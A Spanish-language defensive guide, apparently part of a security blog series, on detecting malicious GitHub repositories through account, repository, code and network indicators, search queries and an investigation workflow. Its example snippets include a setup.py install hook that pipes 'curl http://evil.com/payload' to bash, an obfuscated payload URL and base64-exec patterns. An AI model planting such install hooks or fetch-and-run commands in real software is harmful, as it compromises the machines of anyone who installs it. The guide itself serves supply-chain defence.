IntermedioGitHubsupply-chaindetecciónrepositoriosmalwarecódigo

Guía para Detectar Repositorios Maliciosos en GitHub

Cómo detectar repositorios maliciosos en GitHub: indicadores, técnicas de ocultación, herramientas de análisis y buenas prácticas para proteger la cadena de suministro de software.

MalwareIntel Research··4 min lectura
Serie: Guías de Herramientas — Parte 8

Por qué importa

Los atacantes explotan la confianza en GitHub para distribuir malware. Repositorios que parecen herramientas legítimas, forks con backdoors sutiles, dependencias con payloads en hooks de instalación. El supply chain attack via GitHub es un vector en crecimiento.

En 2023-2026, campañas masivas han usado GitHub para distribuir infostealers, cryptominers y RATs disfrazados de herramientas de desarrollo, crack de software y proyectos open-source populares.

Qué buscar: indicadores de repos maliciosos

1. Señales en la cuenta

IndicadorPor qué es sospechoso
Cuenta creada recientementeSin historial de contribuciones legítimas
Sin foto de perfil ni bioCuenta automatizada
Nombre similar a desarrollador conocidoSuplantación de identidad
Muchos repos creados en poco tiempoCampaña de distribución masiva
Stars/forks inflados artificialmenteManipulación de reputación

2. Señales en el repositorio

Indicadores comunes:
  - Nombre similar a proyecto popular (typosquatting)
    ej: "colbalt-strike" vs "cobalt-strike"
  - README copiado de otro proyecto popular
  - Pocas lineas de codigo real, mucho README marketing
  - Releases con binarios pero sin codigo fuente correspondiente
  - Issues y PRs deshabilitados
  - License file generico o ausente

3. Señales en el código

Ofuscación y codificación:

# Patron sospechoso: base64 decode + exec
import base64
exec(base64.b64decode("aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwg..."))

# Patron sospechoso: string concatenation para evadir grep
url = "ht" + "tp" + "://" + "evil" + ".com/pa" + "yload"

Dependencias inyectadas:

// package.json con dependencia maliciosa
{
  "dependencies": {
    "express": "^4.18.0",
    "loadash": "1.0.0"  // typosquatting de "lodash"
  },
  "scripts": {
    "preinstall": "node scripts/setup.js"  // ejecuta codigo en install
  }
}

Hooks de instalación:

# setup.py con codigo malicioso en install
from setuptools import setup
from setuptools.command.install import install

class PostInstall(install):
    def run(self):
        install.run(self)
        import os
        os.system("curl http://evil.com/payload | bash")

setup(
    name="useful-tool",
    cmdclass={"install": PostInstall},
)

4. Señales en la red

  • URLs embebidas en el código apuntando a dominios sospechosos
  • Comunicaciones a IPs hardcodeadas
  • Descarga de binarios durante instalación
  • Uso de servicios de paste/file sharing para alojar payloads

Herramientas de análisis

HerramientaFunción
GitHub searchBúsqueda avanzada de código y commits
Gitrob/TruffleHogDetección de secretos y credenciales
Scorecard (OSSF)Evaluación de seguridad de repositorios
DependabotAnálisis de dependencias vulnerables
SnykAnálisis de dependencias y código
Socket.devDetección de dependencias maliciosas npm/PyPI
GitGuardianMonitorización de leaks y secretos

Búsquedas avanzadas en GitHub

Consultas utiles:

# Buscar base64 decode + exec (posible payload)
"base64.b64decode" "exec" language:python

# Buscar PowerShell encoded commands
"powershell" "-enc" language:python

# Buscar descargas sospechosas en setup.py
"urlretrieve" filename:setup.py

# Buscar preinstall hooks sospechosos
"preinstall" filename:package.json "curl"

# Buscar repos con nombre similar a herramienta popular
"mimikatz" in:name created:>2026-01-01

Flujo de investigación

1. Identificar el repo sospechoso
   (alerta de Dependabot, reporte de usuario, hunting proactivo)

2. Revisar cuenta del propietario
   (antiguedad, actividad, otros repos)

3. Analizar el codigo
   (ofuscacion, dependencias, hooks de instalacion)

4. Verificar conexiones de red
   (URLs, IPs, dominios embebidos)

5. Comprobar contenido de releases
   (binarios, hashes, correspondencia con codigo fuente)

6. Analizar artefactos
   (detonar en sandbox si hay binarios)

7. Reportar a GitHub
   (abuse report con evidencia)

8. Actualizar indicadores
   (hashes, dominios, patrones en SIEM/EDR)

Indicadores de compromiso en repos maliciosos

TipoEjemploHerramienta
Hash de binarioSHA256 del release maliciosoVirusTotal
Dominio C2evil-cdn.com en códigoDNS/threat intel
Patrón de códigoexec(base64.b64decode(grep/YARA
Nombre de paquetetyposquatting (loadash vs lodash)Socket.dev
Cuenta GitHubusuario creado para campañaGitHub API

Buenas prácticas

  1. Usa Dependabot y Snyk. Monitoriza dependencias automáticamente.
  2. Revisa código antes de ejecutar. Especialmente hooks de instalación (setup.py, package.json scripts).
  3. Hash pinning para dependencias. Usa lockfiles y verifica integridad.
  4. No ejecutes releases sin verificar. Comprueba hashes, firmas, y que el código fuente corresponde al binario.
  5. Monitoriza forks de repos que usas. Un fork modificado puede ser sustituto malicioso.
  6. Reporta repos maliciosos. Ayuda a la comunidad y a GitHub a eliminar amenazas.

Fuentes y referencias

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.